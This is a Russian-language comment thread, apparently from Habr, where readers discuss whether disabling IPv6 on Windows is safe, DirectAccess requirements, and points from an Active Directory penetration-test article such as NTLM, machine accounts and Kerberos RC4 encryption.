              Важно! Протокол Интернета версии 6 ( IPv6 ) является обязательной частью Windows Vista и более поздних версий. Не рекомендуется отключить IPv6 или его компонентов, или некоторые компоненты Windows могут не работать.Кроме того при запуске системы будет задержано на 5 секунд при отключении IPv6, задав параметр реестра DisabledComponents значения 0xfffffffнеправильно. Правильным значением должно быть значение 0xff. Дополнительные сведения см. на вопрос «Каковы рекомендации корпорации Майкрософт об отключении IPv6 ?» IPv6 для Microsoft Windows: вопросы и ответы
              (http://technet.microsoft.com/en-us/network/cc987595.aspx)

                0
                Простите, но по вашей ссылке ничего такого нет, и ваш текст вообще нигде кроме Хабра и его зеркал не гуглится.
                Официальная рекомендация, например, PCI DSS — если не используется — отключить. Именно из-за атак на компоненты, про которые никто не подумал.
                Никогда не видел никаких проблем с 0xFF.
                  0
                  «03/18/2014» собственно дальше читать нет смысла. было время когда 640к было достаточно всем, потом интернет был никому не нужен, 5 лет назад ничего не работало без IPv6… один из ведущих производителей сетевого оборудования рекомендует полностью отключать IPv6 в частных сетях до тех пор, пока Вы не будете убеждены что оно вам позарез нужно и без не
                  го совсем никак, будите понимать как оно работает и протестируете как оно на самом деле работает на вашем оборудовании и ПО.
                  0

                  Согласно http://technet.microsoft.com/ru-ru/network/cc987595.aspx без IP v6 не будут работать:
                  — DirectAccess
                  — HomeGroup in Windows 7
                  — Windows Meeting Space
                  На своем опыте столкнулся с проблемами при создании кластера при отключеном IP v6 (хотя IP v6 в сети не использовался).
                  Официальная рекомендация Microsoft — не отключать.

                    0
                    Про кластер — странно. Я на 2012 собирал с отключённым ipv6. Как раз это первое, что у меня делается. Потому что из-за приоритета ipv6 порой при включённом ipv6 просто отсутствует нормальная связанность между узлами при использовании некоторых сервисов и ПО. Понятно, что ipv6 трафик не обрабатывается в сети, но windows это не всегда, похоже, волнует. Из плохого поведения, встреченного мной — некорректно работавший dns на доменных машинах. Никак он не хотел на ipv4 смотреть, при том, что не получал ответов по ipv6.
                    DA не использовал.
                    0

                    Небольшо обновление по DA
                    В чем же основные отличия версии DirectAccess в Windows Server 2012 / 2012 R2 от версии Windows 2008 R2. Основное отличие – снижение требований к смежной инфраструктуре. Так, например:


                    Сервер DirectAccess теперь не обязательно должен быть пограничным, теперь он может находиться за NAT.
                    В том случае, если в качестве удаленных клиентов используется Windows 8 Enterprise, разворачивать внутреннюю инфраструктуру PKI не обязательно (за аутентификацию клиентов будет отвечать Kerberos-прокси, расположенный на сервере DA)
                    Не обязательно стало наличие IPv6 во внутренней сети организации
                    Поддержка OTP (One Time Password) и NAP (Network Access Protection) без необходимости развёртывания UAG

                      0
                      К слову, DirectAccess с недавних пор deprecated, на смену ему пришел Always On VPN
                      0

                      Отличная статья. Ещё можно было бы добавить про пароли в GPP.

                        +3
                        все доступные машины в домене были не ниже Windows10/Windows Server2016, и на них стояли все самые свежие патчи. Сеть регулярно сканировалась, машины хардились. Все пользователи сидели через токены и не знали свои «20-символьные пароли».

                        И при этом не был отключен или хотя бы ограничен NTLM, хотя "уж сколько раз твердили миру..."?


                        Используя учетные данные компьютера RORYOTGS$, мы можем выполнять легитимные запросы к контроллеру домена.

                        Вы их и так можете выполнять, используя те самые учетные данные, которые использовали для создания "компьютера". Я так навскидку не припомню, зачем может понадобиться именно учетка компьютера.


                        Harmj0y провел интересное исследование и выяснил, что если в свойствах пользователя указать поддержку шифрования только Kerberos AES128 и AES256, Kerberos-тикет все равно выдается с шифрованием RC4_HMAC_MD5.

                        Для этого не нужно никакое исследование, это прямо следует собственно из сути этих параметров и описано в документации. Они ни разу не указывают поддержку "только" AES, они просто устанавливают в AD флаги поддержки AES для этой учетки, и никак не трогают поддержку других типов шифрования. Это разрешающие параметры, а не запрещающие.

                          0
                          Подскажите пожалуйста, как запросить тикет утилитой setspn.exe? Какая-то хитрость есть?

                          Только полноправные пользователи могут оставлять комментарии. Войдите, пожалуйста.

                          Самое читаемое